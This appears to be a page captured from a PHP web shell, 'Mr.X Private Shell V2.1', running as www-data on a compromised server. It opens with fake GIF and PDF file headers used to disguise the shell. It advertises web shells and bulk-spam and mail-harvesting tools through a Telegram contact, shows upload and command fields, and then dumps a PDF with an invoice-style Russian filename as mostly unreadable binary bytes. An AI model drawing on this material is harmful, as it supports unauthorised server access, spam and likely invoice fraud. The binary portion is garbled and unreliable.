GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
СЧЕТ-N-02501025463701-от-13.11.2025-аванс-40-процентов.pdf000064400000227605000000000000027222 0ustar00%PDF-1.6
5 0 obj
<<
/Type /XObject
/Subtype /Image
/Filter /DCTDecode
/Length 37769
/Width 350
/Height 350
/BitsPerComponent 8
/ColorSpace /DeviceRGB
>>
stream
���JFIF��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��^^"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?��(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��9���M����Aw4�-���+0b��;�F0���p�����n��~!��~���O4��
�����,�Y׼�]/K��f�[$�f��كu���1��hO�h���7\������x������,#�;[��u��d9��Oz�
|G�> |<�����?aҟ�":�|Sg;���:c�S��)}�;�f/jwz~�/eh�R�e�.0��m,zv��zǂ�k���F�T�ໆ�ݖ�X�Ul���q�ָ�[��tmf�K������Ky8b*Y�#2��A\��~ x��|o�nK�i��ogg-��o"�0b࢜��B>q�z��_�%�����k�^�1�m��EÀ
T�n8�H��@g��Ig��Zk�����:��k��Hꧽy��4w����߈��s�/|W���~��-2��E"��k��|��Ã�O'�������m~&i?�o���Rj�y�N�l�aYv�_�'I��T�u(u��T�Y�x�#Y�0���S��~�އe��uk�{�e�W&@z0�^a�Ax�F׵*�L��n�O)��|�1�Q�g�I������'��S����eq%å�d�h-岐VL��@I�c�G����ʶ��o�n�O�l�3���n�z�Û�~�7Ɵ�Z����;T�����ڂ)A����~u����%���C$�/�u�%�̒&�m♎�8.v��
	��������n��~!���^��M����`�:�����EE�!����۠=G����?�%q����Mƻi�˹�5e>��|���,�q�:~O�~5�|Q��]�qϢ�}��E
��)�$��z��Qe�]6�ǚ����j��Y�*Dg
wg?�^�t?��_��
o5��x�U��Ҽ����lc��eD"ʫ��nS֫�=��|�WV���go6�������90�*9�#����Gx?�������פ�Ig�o�%\�a����3���c8ݎ��{��x�� �[��zf��訂9�n�D�p	,�<��1����s���O�~�tx�e���n�{pIc
+���a�V�+�
j�Gx?��������Ie�gA�����5!��\ych��,Lc*7��^�t?��k����
oQ���}kx����'�q&Ҧ6 p�Tt��ς�*^�����Y�t���X��Uvw,d�B4�:���|G��?��m���$�>ŵ�{��y�7�W����+�7a�˟���<A�ZZ<:?�t��T-9�]0�H�#������׈�h��o�l-4�
���ڟ>W�w2a�L�;@�G9��
���mSK��"�kv[�Ub�U�6�a�Z<7�]7�λ��Aw�-���ZdP�۝r�bH�g�Ey���F���x�L�M?NIle�Ղ*�*BFr��a���k��փ��G�>�}su����(�o����Ɍ�'���@�k�߄|Gw���j�]Z���EC��	��;WI{�]6�ǚw�������)�
�wg?�n����x���F���#��p�w��ķ3+K��id�שϟE����5���kd�Ot<�Vu�0��B�=M{�<k��_Yд��.�Z��=�B�Ur._,�t����0�4MG�>!񆿠[��L����i��{ag�ն�r��g��sU�V�c�kC�SݝB���卝|���2�ns���OS�}�_�:���t�R�R�ym��Z�4e
Y�s��P��o�;���
�?��?�v����O��R�7U�x��oj�]���4W�[��C)b��A8��z
�᣼�@�s��C��k�+珉^$��w�k���֪w�
B
��$�Q޾���(��(��(��(��(��(�����i����EKY��5��!�տ�dhvM��y^l2��>j��j�>,�R�¶���L��4�z�V�U��p���ïqǧ��C�3���s��7�$PG�h���|koo��V�T�#�9���,R�1bK���F��M7����ouOZk�=�-��]��K��nFH�G�<7���F���^ԣ�E��E��q g]��LNA8��#�����^��S�g\}"�S4�c�ĝ�}��S��@�:Ѽ7��O�Ҵ˭Z�\���a�3�P�A9����þ�C��+���k{|���M<��I��ǻ6I|y��9�O	x+RK��A�y�5?Z�Gi{j��L(����'��1�~#�{����gLִ�4�S�WW�r�K�o��mv0��@?���g���j2����,��-�	���z' ?�nz��ÍcA��N�wڷ���~�d���,e����ZM�	�#���|k��|�cP��k�dd_(�3)ݜ��z��>��_h�#�F��;Ö�v����ckwt�t{�6gq�	�@C��Cº���#��-,��Q�� ��6�V�S��Wܬ�g �5��7�g�&�߲�wl��8�_2��~��g����O�W��ϝf]kJm#�Uֱ"K�$�:�����>F\���|Z�����I�kL�)�,���ݢ�y˜��X��a�����y�a�f}:��3�����r�18'�<�}��/l�U�k>+��n���-�&�U���v̪�ϴ��������n��/�k�Zx�}\}^�#PlB�M����;�+3���:΍�T�Y�yn#Y��8$g����7�g�&�߲�wl��8�_2��~��g����W�K�Xk־�F���}�K-�^js�$�1!BH�+����e��>i�+/�F����Z��i�r5�P�(ES��T.Nf<9>���񏃟U��{A�-|]m�c�N�$�w��e9G�r��v� �-<#��x��h�
js_Ic$�VY��I8PD[s���8���_��_?Y�o��Hx���/"�A4���j��o�p	?#q��A��/
j��h�N��\��$��#���Ց���[�<*pÁ�y��}kÚV�Ý������>c�-��
������
���7����?�K���ðf'���h����a�S׌@��7��蚎��jw�N����Ǘ4�ryeg�e�9^�f���W�,�#����s�kk����q�A�HXw�S[����n�u�.���
<�l��7������?7�_���G�V�!��Dխ�ضC!�\�$`pc#�]����to[[�|I��Zd/oV�+��`J0l`8$v޹G}?��;R�f��^��4�Fn �	��	 ��G������������%�A�W������mm?}���J���x+Y�e�Ş��,.R\�s)[U���V@���Q�:�q������-խ"�uD1[�Z��%�����HB")$nz�_�iz��-}f��y4���SA�F���̼7T��u�޷5_	Z|F�5��x��=/Z�uU3#��0�9��Ҁ;MoG����X�cS��<+a�)�`Y�4df���H��+�1�*��Ek���[��v���D�?�v9�%�Lg̑�r�ꛞ��5_�:
��]�ZjCO��kych��,D�*7��^�t?���x[F���r��w^-��i�W;�hܩq��)��^����aj<i�x�M3P���;�Lj�3+��O�d������x3�Ώ���Nl��ku;H��]�[�$)�z�:��ƽ���^�῎��R�H��#XB^B�)V�#c�� s����[�x��H��`���<FM#Y�iok�܎�@,B��&���@|<��Q������l^T��|?��2K���G�ހ`7�9�G�O
��x~���4�O6�V���<��YA���u�����oþ?�f���6����qp��-
�Y�k�(3p~��}w��4�����K�CCF��H�d�%�r�uerB�AP3�@H~/���?i_^_�ik���A.E�c�� ~5�k�����Sտ�i�p���[�+0���[n|�g���W�~���w�?�<?�\��:ذir��H
�(R37Rs��U;��$���S�����gض����^<��q��zn�s�2�:7�m�_���j{-O{5��X�	�%�����z��u�v^�U}��G��xb�j��Y�o(��)�s��/P:��(��(��(��(��(��(��(�+�,<y���ޝ�薖���������Y"}Ō���8��KV�tku��5K�,�S,J[� g�{����g�xz_k^*��;� �8�1�2Ɓ�B�G!$q�ކ�6<
��<a�hV6�Zf�:2,��ht��)V?��yg�|%w�[�]!��$3���������Uћ�$��H1˞�9�E��wý&��3���k2�|VKi�Y�pC)�	A�n�֟�4
KN�e��KQ�׵�/v\k�J�]]C�rHٝ�H�pX����.<S�Zx���S�l���3Ao�9ހ1'pG�n��Ҹ=[�^(�F�}�|>�#է�n$���Q�6�� ���$�K}�ӽ�|-��w�m<Ca��[�[Al�	q�9,H�dHF?Ƽ�C�5�;�>"�V��|?��-�����i8����p{�t�n5ۿ�:,�%���WmT}�(�Y��n���=
�4ߊ'��i�1�4Mi��
��2J�n@
䡐d��c ����?�_�ߋ:����+A��^/ڥ[�ܬ�´`�?_Z�Ԯ�/���j�.�	��"�V�+Z*&h�ን���^�s�Z��l4����z�������wq:��M"
!�I~2N�w��"�/���v�����[�1�$�tc�܅�I�#���Y�O�|qu��/�_��e\��6�ѓ�DK9;Io�FNy��˗�;Y�o�!:DQ3A=���>Z��q˶���Mg��q�B�?�|=ai%���.m��x�>B��u�⽷��x�]��Iҟ�����W{XI����3l��ʧ�Ӑ+cN�?�F�/ծ|��*�nv�6|�[s����(�^�y��:6����l|{+\�Ĭc��9J1Y�%U2B��<z��>X��Q�^'�:�����6���
c*<��kԞ�����m~&i?�o���Rj�y�N�l�aYv�_�'I���}\�o��z^���<7
+k��I#\���U�@,�?�����^���صk�i��K�,��D�$��i� R7�`��s���G�6��^�c�o�_�kp�^%�f3"u��;��7�~"�~;��e�k�Z%�&C7�X�FHX���^@�>kp�ϋ5��z��w�_�2Vef�ϖϴHH�#�æEvZV��j:��,�|G��nZH�1Z����U�d �Zy���u'�a����Zi�(�x����Fe��K\3�9Ix,�8�g�O|<�V������Cu�����Q�,���-�x'��q����=r=g�w�y"��7����cq�U��Ta�p��x4��oӵo��:�<�#���H����R�ZV��ch�<r���/�w�Mc[�t�6
z{t���`�)H���!�j!�ǩ�;�5ԟᆯ��i�x�������Kq,d9pΠ�%�?(㑞c�ZV�㿍z����7M�ͼRŨ4�$R��
�Vޠ�[��ǧ��U���h��;[�Dg�t�df�*�T.<�]���z&���������i������uo�ˆ�ZR�~Y&8ß�x�>#�zwſ[��������X64aTt-�P�~i`�ӃU�i�H|s�;�Z��b�{�v�������Fb[�"
�À��zև���מT�E��uyi-����ތ1$�8�>�������D�tMn��A��F�����$���(�I�E=O>��|2�ތ%oݝCN��k���YYF�}�7"�����?�I?���C���U�i6��x��$m/U�[�FŬ
���^7h�?t"����#<@��O��2������h��w�/ڡM�X���#�_O���=b
'I�~�}>�./�̛��c� �O&��'���7��4���>��0�XN�2c,���G�+d�<��ㇱ{�^G��|2��W9��,�=��\�#xS��Bs���U�5=K��F�K�&�B���p��*��Ò;�W�BxN���'���H<��̘e>h�����<zqw?��<C�j�+���}��nm��N���g
	����_u�-E������m�l.�Cw�����X��$������?��w�:�m��嶕m�Vf\S���G�9�CSX���_��.��N���{�qymwn��}�‰���I����+?�}φ��s�{J��WP?e�%�7��2��J��Q��R>V�5�A�4߈^�Ԭ�M2
��\�����bV�SSL�x�G�|��=
[Iֵˋ�yr����T�Ђ9r+�+珇�I��M�,>j���>n���%̮���������(��(��(��(��(��(���{�K
���
2�P���,qZ�V�|1çC����{�D�ˡ�]�rx�왬�U��X�*�x���O��w��D�%�|	�k��%կ��'RP��F=��$�<#����]�j��1{K�\.H3(2v��[�>��ޝ�jPh3�=����yQ��X�����=G�a��Z��mg�K[��h_�r0N
�FAkS�>>�~��Q𷊴�6�{+#p�j�lǴ�H+&x��T�#�~i^*���|9wq�x���%��]�k:ng������U��)�c���?����j��[�i�����̈��/NA<��m�oo�xs��&��I,o�FX��Dɰ9>K�vȠ�5�|!�ᯪ�]���Io��egX$$�d7s�V�ƿ��*��4=W얲i�3'��.d��Rz(����~�5��Ż�4WC76�G+5� ��C��C��{�����kOZxj}{\M^�#4���@��C�}��{}(�<I������o�$�֟�V�XFY$�K�ԠPs 8���E�~���kK�e.o]�@���Ӫ�ьR?.;���5�k{_|0����BO��k~
4H�Y�N�2W#�푛�?���;^A�x�,���ydH�IL2(P�ǯn�?�:�> 'ᝢȚֱn����UI�;XB�žH��?��\�W��߽���l�j�,�x�"�,�V'%z�Gi<=�^����[kZ�x���k[I��"�I%bp��O��>#�+M�u�sT�d�z��7W!Y�Ql�ql&�B�+7�/�G�����3�^�-ͭ��~
�ܮ���1���J3336�y��?xq�sᯆ�<]��:��Guu���;�h�s�=��+�U��/����w���ݚ9mT�w.����Nß_{�g��N
?���4�<��&��^|��u��a+����n}8�i�x�±izkG�����Z�Y�P)0m�ͳ��W���?���i���_�"�I5
J��k_3�(;�l��>�s��'�/��p��!�-4�#U���h�$U]�Ke�Ǟ�x=+���>_xN�|�,Ԇ�apn"�m��K!�#��t��@3<c�w�z���������%��P�4�n;�O1��A����\׼�j>�U�ڌ�o;}�ء���\�7�ϼ:v�<	��sᖷm�x���H�$�Z�(��{wCv1#��1��q��^���蚏��|%����d����A��4�M�^L|���Mq�x'N���Pѧ�����.��E4�k�q�g��ۘf������N��5�|y�#�z���0Eq
�-�*�a4-���c;�ԟ�x�N���OѠ����.��K4d��d��݈a������N�7�u+Y�>(-�q5IJ27�@N��?v�A��}�N��iڭ��y���qZCf�R/���c*<"��J�<S�|V����6�e�6ϳ�<j]0�$��[q�z��%�Ϫ��_�Z�l�ͦ�\��t�.cwq�d��3��;����?_�?��^��h���'d�'xN���?��
�>0��F�T�Y��W
n�uo�`��`a�8��[~�]�;�'���V��X�O�O)#�da<lr�	RUy#8+�𷅵�s�v�5�o�t���ֶr���(�fs�2�>�Ǯ�ě�v=:k;($��Sǯ]�e��
��X!��ʎB����FOx�H/,n�:zG�1�A# $Hm�M�s�8��l𿆼Q����᎙���[�{[�FdS"�<ô�L�6Q�8�5�³���������:�?��O���X���;��8���>;Yx��Y�����ޟ5��iQB�4nO���:�CϬ������I�w�~�W��P�kϖ�|�
˹�~�8*
�L��i:_��to\�g�xu���\H�.�f�*��-���W��r��~!�O�d�=��b�`'�E}�L�,QT���r~�1��g�W7V���;��~��H�C����I+�P��Ϧ��{�O��7��-2��P�E���-�[�Uz�3���3��/^����9�����]��g��,�����#Ǡݩeݨ�@� �p�G�NX�:���ƅw�M6
YOe�7��x'$�bW
�Y�����+���>^����WR�?L��5d�$WLD[�,2��࣯sǧ�tQEQEQEQEQEQE���z��4hl����S����6��:�a��u8%��#�����s�X��wrx��%1�9��$	�8V�ǿa֤���g�>
����>�u&����I&P�!#��_\kt_���xkS���v[B���s��0�
g�w������:��^�У�`�Ac�z�U�W�����W�k�K{�xo���cw�ϱ��[�
p�ົq��������KF�o����-=�Ė�4s�R��I�����C�3���s��7�$P���垓�L��Z�����u�Y���S����oNy���߇�]ƃ�MN;��`�\�(T��������5�~/O�t�k�}kt[�[�"��'F����|Q�MgšX�����m�U�bȨN,D���w� >$x�^�'�����A�7]�w+n�02��H%��}���(��ƞ%��<9i=Ÿ�zv&:s)w0��8,�ib�7C�[�s�cX�����z�m�]1�d�@�"a��G��?�׾��Ծ�.�<^���c.�����������5������������u+h�M�0U�ӲȤ�C�X��nz��q/��O�-���|L�����,wo,D��+�Q�<�9Q�������|R���r�5���F���7*�#�NNO�k���3��L�4� ��T�f��3$��� P����E�P~^���mɬ���Ht�|�x[P�6E�V��[%L��� 60�=s�'ğ��
���l-�z|�m�2k�,k�3�������c���o��'����%�'��� ���`�!W�m=GO»�g^�w����4��u��>i���{�b�Cs�ރ���|<�Դ���e�{w�>{w�$k6x�o_�[�pH���y�K�_�^xᮧms��/�[P3��r����bR�R�@W9
G����ý�߁4�5�m*�Ho7��O�LJ�L-շ���W�o��C�ߋV��+�e�js��!Q�Lh�VY�J�u�`�
ֳ-���
6mR[��G F��-�0n.[�u�z߅�9�{Ö�����+I��~�)�Ňe�jy��g�»𮃧�]�i_i�l"�Ӿ������1�2GDܫ˂@��qX��/~%ě���N��T��pG��e�>m·������kտ���o�����K�)Ib����ZO-�#*pX�s��a�?�6]GI���|t�<�6���iR<e��]�''i��〷�Ч�ޯ�YOo��	Dz��)&���+�ѷ�������u���M;G��$pi^֢�Mr��Wy.�\)	߱�<��e�<3�m�I�+8�Ma�W�-��m�	$tL�L��J�N���t9�:]��#��a��{�6��,�=��T�"���Y������C>4�Wd��gW�������cY���ܱ�2H.��~��8_u���iw}w'��5���A�Gcʰ�gO�?xs��m�ߵx�]����.�T��5Xvi��+[��n�o����},x�A��}/ǚ_���Y�+��h-JBȡ��"ǖ�0:�J�<�C�+F���d֠��[�`@ѫ,�(Q@Ĉ��ݲjK��⧅�<�+)���N��H�F+��1b�1��������,��꺔Z��p�Ů���-��+�U�$)�?�=u<1�x;�W^�]���X�:�i��Z��,m��Ή `��E$�`d�蚏��]b/��5����w}������7$��Ċ>C�:�vzWď��*��oi��xF�lr��V]��M�|�t��ӎMe�R�u��Gմ�U�Ҵ�'ɲ��x!�t(͵�fbp9$���r.��+T�y|M�xP	�x�&��ە\����"A�ː��Q�8��%���2\���mOT���x�d���B4 ��yS��v5_�F�ˡ�i4�A,����e;�0`�8��ր=?_�f�a�}7��j�����mnCF�V3s>�%�2���:7��5�)�lj>���l/5XmWd	�A��>�W(x�~�{q�_�>!�|9Ѵ(�R�w��ݾ�e��
���y���,���x� �e����:F�y�����p���%]ͶE�?���@
��s�z�.�;��V�u͖Pi��.�q���	=J�I�!���\���0D��O�tQ@�t�\�v�~�?��?�]���a��+�7]��->����ο�xz�}OL�[�bv���2;�ѪJ�G8ŽG���o�>(�UՖ��}7B�,�V��)��:
�ljpK�G���=���<W�M{�E$ �4���`T�(����
(��(��(��(��(��(��+�O	i���_�Oa���;_M$R+���J:� �� �8Ϩ#�>�ږ��[�/P����8Ѥ���b�T����U?�ij�:w���o�'�%��~���F�?y���y����<�c� ���u��i���إ�޼f�F���zu�G�[�v��΋?�l����Uh�
&p�!���=O_¼�RԵ+_��啗�n�H/��b����TS;
�PB�'�;�+�Լ��6�o�|t���\:�ur��l���s@?��q�z4�^��{������ffUWlJ1��k�������k��u�ze�ܗ���C���.��*"8!�x��~�?þ���
^�U��R����<�ʡ�ݴ�n2����Y�x7T�[�l�>���װ��S�8���B\B��.0�����Gx��������׷��_
x�_�Wڶ�<ڬK4p����C�(9���{�����p?�t;��O�O�D�s���<�z�9�V���_���K�7� �}߇����WJ����]���������<��|F���7�<
�j��D��de��8D@L���)��l��i}o���|'��]3P3]�m-�yΧx������c�CԓR��u�z�I������ɍ�_�3?� #O�������KP�~.۬���i������U����#,a�	8��8���o|V�<ӭ-4�I<.��/Y����
�x8ȏ�O�<�xf�q���/��vPI��Bh��#̴�2N��X!��ʎC�oc��</wys�/��9B�zY�wq�s"!p�@.r�ݷ<G�y�m��ŖW��?�m�R\�o0hج���d�&\�:�@��x����v^�G4~ �,ݤxu�2-ٙ��7���t���C�Z/�<3�}?������V����t>hn�+���<�#�<�q��
�=���Ү��%g��1=�eFI��8�����/
M��]�x�E���5YmJ���8�ЇRsK\q��)b��#�����Ьn�-^W���ܪsl�#������0��x�� �W�����F�y�]�:�n�H�%yWr�Nr��G��Ӌ����_�~'�����O��g�{���6H���eX���G��6>5�~�m���}V
*��PM�Ze��H�h�c����S��{��4|�c�4}V�o[�&���d2���ŊF��#�����z��u/�>*�Ɨ�Aim�[}���fxՏ��2�q�ש�6~1����F��
s������Q��E�,��e�py���T�2�G�|��v��|?�j�\:yv��dd
0��,H����<�⎥7���gh�����%ż�n�3!��#3>0��=��}���ǚu���i'��ܵ��0�c�aTo�	�ǟO�>*����ZLs�7��Ov�����b6Qs��2~�N8<Ic��
F8�/�/�����ɧ�8���d��7����'�<�����uK���E�EŲ���ϕ��RH�c�Ms|-�����l4;?��G2y�C'.@���?é}�ŗ�7���f�Y-��h��&BP�Eb�:1���J�\�?�kw~,��z��Ă�_�@�*�J���3*"p0C�_�p�4������������&���T�B�E?!�E}+C�����z�is��i>�<n�g��U�)�V$�g�t�C����
���d���Kqs.�~Όc�|�ːU��Î���b��Z���h�E��\iZE��l��a�āĈ�U����
�KM��ź�;Iu㻗j:dDEo
�t23�G��.x������g�x�š֫�c�𩼼a�S��d����q���N��n���<�v��d"2hy63�9�z�ޥ�}.o����~���[VBɉ2��F	o-S%�Q��0�~��F��񕾉Y�$z�r�sS(b��c8�5���6|>Ӿ&]���k�����$�R�S9c�>��N�G�>E�M[�66v�t���H��!p��8�8���tcK��\�&�mt�����d1]�d�J��}��D������{{���ii�ZI�w�-yz�<��ĘU��D�~����7�5����j^Դk���>:]���c��h��H�
p2ϱ��Sy�:��qx�}V�Du+�U��z�h�$5����$0Ó��@8υ��M�x[@�������)_0n!|�`CG�}����_��]�I�������=�'�#P2d'?�^�@Q@Q@Q@Q@Q@Q@ś�
X�V�_i�z��oQc�Պ��c�8�u�8��
#J���?YxG��m>��|�cD��<E��=�OS]���$�O����*Z�>!|L�������—_��O�A�	7�0`T�c����+�
/����4˷�,�]|Q*��}(t�Z/���&#?�8����
�x�Ö�准����~Ğ�`�k��)T��?���U��}�j�\x�Ĉ�>�4yo`�bC�@C,�r�x��޹��J�Ʒ�C#|HgY5m)-���6��7�I_ �$c�<#����2}?��4�ıG&��Y��Ck�}�`-����^}�J����I�
�:e��vRAw
.atd
bf��FI�5����b�K�A���\}��{ycI0A|���ç~��<w��H��W������MB��TP�
�.��Wĭ��F:�SϠ��x�V�ssox��&��	�d����?�t����Y����Wz}��xM�E�4�`��sNx�F����_��z�NJ~|O�w���
A�����!�TRz(�^���:	��*O��74�/��¾'�P��&��&m
&P�k�&՗jv�`��<��yq��s���<C��u��X�G��0�-���7<����1���hl��n�,��cG�fx�Ws��,�28�X�7��Y����T�غf����S$�v%�Y��R�'sŽ��P@;���E��5�����״wK[��7F�`#�Ѱ+;��O'��<I㏊�Ѵ-R���A�[���a���.�l>bH:��_������5skk�'�d�+�������ʹ�i���z��[L�u���A�@��O�jQ��#�E�F�1�
I��Ƞ�7�xr�\��v����=�a��d9:��]嗋n�#xQ��4�i��\xf�c@���p<���@㯧Z����/i�[\�@�!X����$T��A�?������?�.�g�i������95
J�����W���z_�5�iV�1����u�%�"�S����Jdx�|Ye a�8?�'�_��j��6��J�5k�o���.������'��Sᶏ�O�:t��͍ݮ�����b�2��'n����k�������E�-��h,�H�߻ڡcie!c��y�.A������}���uE�K�g�j��AH�g������֕�x�Y���jp_#BN촱;T|���u�O���|7��U��0�����8�c,�-�8���Xu�8�/��Q�[]Sú�����E��m�"�K�5,	��W�L���g�\�N�z7�5}.X�	�`h��aYw1oߧ@�鞓�5�/�+u/��˽?O��EtŘ˱2�.�m*:�<z����a��>ӵoH�m��C[]Z�3ʢD�T������_W���/�K�EԴ�6�?���J�=���g?E? 㑐N��>�����?�����G�٤_�o����͏�ss�/���^,�b���u*��6Ҭ�:|�>��i�K�l�.�\���w��'N��Ҭ~�"x����H��0$�`y�7��׿��[ӼG�Hմ���XϪ��.�M�Ru<0r�P�x�—��2�?L����n�$WLY���,2��ң�cǯ�|+�����E�M�����_� ���R�������~p�w��̞���_x��@�5_�xF�}��弭<S�eڡU~_���7>�zß����cT�|A������c�KJ�2q���Nh[�|
�k�|Jѯ��E��Rr�Ǵ	#FcS�A���|C�o|*ծm���+�y6�s��h,A
��	�yg�Jo����c}G�K�y��3<fB�
Ff|aG{��[/
?�]��S���	d�gd�|�"��f;���>����O�~.񏌭|/��^_Z���'��Ʋ4�69D�*����%���xǚ���	5X-�„Ӥl	XF��-�R�����u�;�N��GĶ-��ׇ庇BK(��)��u�.�>�~���t|i�?�/_�Iemy��̛�S�be�I�P>^���S�|}�[����3R��s76�bU�BH�CpO�9�6<7�Dj���dk��Փ�+ñ41���@�F��;�����=O_c���j>#�q�i:M��/��|���n�21��O&��[�|9�?��d���k^��;�hFՎ�a�#�Bn�#(q��h�Ե(~ۮ�����;�q�����[�2A!#80�jr��_��珇<7��i����כ� �0�l���OE��z(��(��(��(��(��(��򿏺N�����K���]N7h�aiX/�(�
	�H����_�O��^�_���G����~�6n�����}_�_�u��6�C��%Ԛ�B��$�C��8#��ʸ��ϲ�k0����x�U�+������,2��ң�cǨ��5_
�BѼD��Ѽ/>�n�=J8�f�gY10`�P�Svr>�����t���1|B��F�=�E*+�˷t;7�䁱W��s\��co�GN�,<o����b�Q4�/�FH��W"e����}ះ�����)�Oa�褄摟`�
�e4`�@y�{�0���n�m&�Lֿ��-�����BBHGX��}H8�����ƍ��g�
?��Kx�x�������$ſ;��u�'c��t���x�]��Id���Ef��E!.��H��x��վ3�Sk7���Ԡמ�M6��Hc0%�c9;��ǥy��|U����F��-g������y*�L&ב0J���AҴ/u�K●4�E��	i����]edg�ـ��i�v��������jk~k���ב�Z�m��;,�~ѱ� $L8=H��'�������>�O3RҚi���ur����"������x�MԵ�gB����zdu�˟Cn�oWr���Tce�do�N����7�[�4[��^7����,n���q�RBv��;t\��U��΋�kv����Oh�sD��ȢUXѼ�bBDFY���y�oY�i���%��f�w�<3�y�w�i�I�>�������3k�%�t�<�KD�����wv��i�
�G�<D��8�?x��ľ
�������zi��Z��I�H���$]��H���$��<�N�u�n��^��5�լHU"c"m*cPO/�OQϧ��6����/�ڜ~~����vw[��W>Bɿb�OΊpAc�9=7�{Դk���}wc;!F��͢b���� {
�O��|#ֵ����iV��h��O�.2�! :��i�W��M�Ѿ�)�K]�O{q%���1�,$�i+�Pǎ=������-z�Q�mNmAa�i�bED0I��ݏZ�a�Hu{[�^%�A��4��o­���fP���N*���t�~&�'�|ci�M��}�έt�Z���AA#�o�\��n���_�8���i�=;��k�N�2�sO�+�{d���cʯp:��;��;�x+J����������S�Qr�w9ݙc?t}�����w���N/�k:�������
��F�r�P�~g�p�ֳ�п�W����ҿ�4Oݟ���m��us�3�Sɛ����n�Ya��;⦏�iڞ��=��[\�g����n��}��~F��|D�.<Oi��Z/�ݣ�-�Ѯm��J�����P�9@ߌ���%���Ğ��m,�>�>�k&�Zh�=ي@p��V�u,�%�����~!Z^�p^,gV��s�V_4�,0�<s�燼=�|3�m��i���,�Z�O4��y�U�<��#����#@��sG���T��5U0�6CHpT(��@qMy����$^,���:�F�S[�,zd3I���#7,��{�4�#�]�MmgĞ�p��6PK%��\��)d�fu$���Wa��M�F���.�i쬞�F����.T��2=u���]���E�N�O���$�JL^t�Q�~w=;}@9�H��4Kۿ�rhZ*[�Ŵ�y�;��R��Id#��zVޙ��/��.�������	-�$H�v�T!Uݟ��`�V�j�|y�M�i~,�a�+��e���X�Ul��0�w��xk��Ѝ�$�;֟6ڜ39�5,��K	�H20�ڀ)�D��o�>;Լ%��ừ/*�A?���H';IA��WOL��lx�_�Ka�w��Ue�Yx}7���=Ĵ��d�q,���M�\�ψ#�'յmkC���o�/�"nڡG���-����C��4�i��Y5�3j1�
�&w8`�F q�ӭv�_��R�o4�M!!�]��,�S�����r��l����>�e�[�r�Ok���Z�+B�)NLkʂ\��q����j�O7�o�x㻴�1t�`\����pxS�x�E����q�J���֙���8���8�IUfU��(HpǪ�Ԁ�M]{�E�x�K�6��8-�ص���*�����F2D�q��=�|�L���E&�>��$�E1��Y �2)�~��>{���~xGN��C�u�KY%32mI2�N^bz(�����ŝ�*�v�ei�G�zn.Vh�3���	� �Fz��Pgc�CĚe�vv�[KX�H�rI8Qo��I�k�+��$��w�-5����~ĝ@q��@$uS޶(��(��(��(��(��(��(����]K�~��4�-&�[Էe�Fe
Q�#k)�Pw���|Q>���蚋ZA��e�����G��B��O��=O��gĚo��+k{�xz�]��R%��+����r0�
GO�<�/m���'��֬쐤���eX2�/,��G_s@���֭���u����
���;���h�L�ʥ���'yF�>3��յ��l~5��.���24P�C�����J�G�?x��s��5�|�:&�4;��o�����a?�y��fL�nC2��1��G�7N�&��^
����Z&�u�q-Ҷ-��Nzǒ���@&�o�xG�֧�O���Z�ؽX�g0��k�dQ���<t�>/�[�:w��O�����^�O�R1nc.>S�=:��/ƺ���gY�^�'�-��;��.�f~YPq ���[��T��s�~�u/�;+�F�W]X2�P#
�� ��E�|G���:��:����4���L.\qu���\<c��T��廟^�����4i�-�v���:dz��7�+��ZO�togW��?~l�<���I�"�`�:u8?)�*ŏ���=���u��gK�����bpOy��P��n<U���E��W^
��y7��q�2�s�sw���l�(��MN�O=��yd�|����`�����<zu���}#�ߵ���E�����n�~df~|����̚/��+�����:5���[����Pۣ
�� }�I��I�4����F�?��[�����"]A b�H��Z�c�>�ō�����4}V���S�u�a����0Dd�V���t~:�<Qi}m�A�$F��(CZC"�p��c@�Y����x[ź
��m�Y|=�u4{��n|K
!TTm�lv��2d�c�q���`�_��7��$ԗT[���M*���8@��=MG��oN�\^w�n>���%i5M^���(P��+��~���nx;z�͠���t�i�2���bg��Iٔ+
��7$)@���������7�|/si<!��{]*X���h	t��츍�#z����\�~"E�2�T����Y�F��6�M�%]� � w��}����Z�>2��2D��,6����H��[��?�z�=&�A�s�����M�uG��Ki6Z�y4P�P�ng���H-Ӛ��V���N�f��>Z[�%�J���p��2ǰ;D8��l#p�o���C�n��Z���`�X��h�-��lls����⿎MGF��~�:����wo2mrPDb��[נ�G�5
�j1����W��LA��L��H�'1�.7����zn�����Z�>ϥ^�-����j�]N���IR�p�h�w��G�|/�?
[xs�v�&��Z���]:aa���,�A�Ec�y=��x��^(��m�G�;L�D�mmŽ�֝21�r�Y�V$�"��<ܚ�$|"�u��x�T񝦋�Ɗ�P(P�\iTB�z�U}K�6�{p��>��=�]:�ٚe����	�?��Pdž�%w�"���2j�.��ɩ��2&�m�1����HH!��8�⸵��o�l.㽹��W���0ݽ�c�1?7N44{�j��~2�����v�c{7����o����5
��)��zo����"��-�.n
���ȩ-ʓ#|�~�_-S��1���h��7C��������4�R��r}��\���ʥ��6��'�q�7�/_����3�
